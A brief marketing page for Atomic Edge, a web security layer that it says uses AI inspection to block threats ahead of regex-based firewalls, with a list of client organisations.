How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School